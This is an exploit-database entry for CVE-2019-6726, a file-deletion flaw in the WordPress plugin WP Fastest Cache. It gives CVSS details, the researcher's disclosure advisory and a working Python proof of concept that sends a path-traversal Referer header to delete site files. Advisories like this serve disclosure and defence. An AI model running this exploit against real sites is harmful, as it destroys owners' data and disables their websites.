Exploitalert - Database of Exploits

WordPress WP Fastest Cache 0.8.9.0 Arbitrary File Deletion

CVE	Category	Price	Severity
CVE-2019-6726	CWE-22	Not disclosed	High

Author	Risk	Exploitation Type	Date
Exploit Alert Team	High	Remote	2019-03-13

CPE
cpe:cpe:/a:wp_fastest_cache:wp_fastest_cache:0.8.9.0

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N	0.8	0.95

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2019030107

WordPress WP Fastest Cache 0.8.9.0 Arbitrary File Deletion

The wordpress plugin "WP Fastest Cache" [0] suffered from an arbitrary file deletion bug. # Description A successful attack allows an unauthenticated attacker to specify a path to a directory from which files and directories will be deleted recursively. The vulnerable code path extracts the path portion of the referrer header and then uses string concatenation to build an absolute path. This path is then passed to the 'rm_folder_recursively' function which deletes folders and their files in a recursive manner. Although a successful exploit leads to data loss and potentially a DoS against the website, because wordpress won't find important files to run, there are several requirements which need to be met: - WP Fastest Cache is installed and the cache is activated - Wordpress is configured to use 'pretty' URL schemes, like /<data>/<title> etc. - WP Postratings [1] is installed - At least one ratable post or page was published # PoC / Exploit A proof of concept and ready-to-use python exploit script exists at [2], but is in general as simple as finding a ratable post/page, extracting the nonce and sending a POST request with the malicious referrer header. # Timeline - 24.01.2019: Reported the vulnerability to the vendor - 24.01.2019: CVE-2019-6726 assigned by MITRE - 29.01.2019: Finished communication about possible fixes - 17.02.2019: Vendor released fixed version - 09.03.2019: Details published Best, Sebastian Neef https://0day.work [0] https://vi.wordpress.org/plugins/wp-fastest-cache/ [1] https://vi.wordpress.org/plugins/wp-postratings/ [2] https://0day.work/cve-2019-6726-arbitrary-file-deletion-in-wp-fastest-cache-0-8-8-1/ Proof of Concept Here's a very basic PoC that will do the following: Fetch the source code of the target URL Parse out the nonce needed to post a rating Post a rating for the given post using a malicious referrer Thereby deleting important wordpress files and demonstrating the vulnerability. #!/usr/bin/python # PoC for CVE-2019-6726 by @gehaxelt import requests from bs4 import BeautifulSoup #from requests.auth import HTTPBasicAuth # The vulnerable page with a ratable post BASE_URL = "http://localhost:7349/" VOTE_PAGE = "rate-my-bobby-car-and-again/" RATINGS_POST_OR_PAGE = "{}{}".format(BASE_URL, VOTE_PAGE) # Send initial request to obtain nonce! r = requests.get(RATINGS_POST_OR_PAGE) # Parse returned HTML bs = BeautifulSoup(r.content, "html5lib") # Find span that has the nonce! the_span = bs.find_all('span', attrs={'data-nonce' : True})[0] nonce = the_span['data-nonce'] pid = the_span['id'].replace("post-ratings-", "") print("the nonce is: ", nonce) print("the pid is: ", pid) burp0_url = "{}wp-admin/admin-ajax.php".format(BASE_URL) burp0_headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0", "Accept": "text/html, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "{}../../../".format(BASE_URL), "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "DNT": "1", "Connection": "close", } burp0_data={"action": "postratings", "pid": pid, "rate": "5", "postratings_{}_nonce".format(pid): nonce} r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) print("Response is: ", r.status_code)

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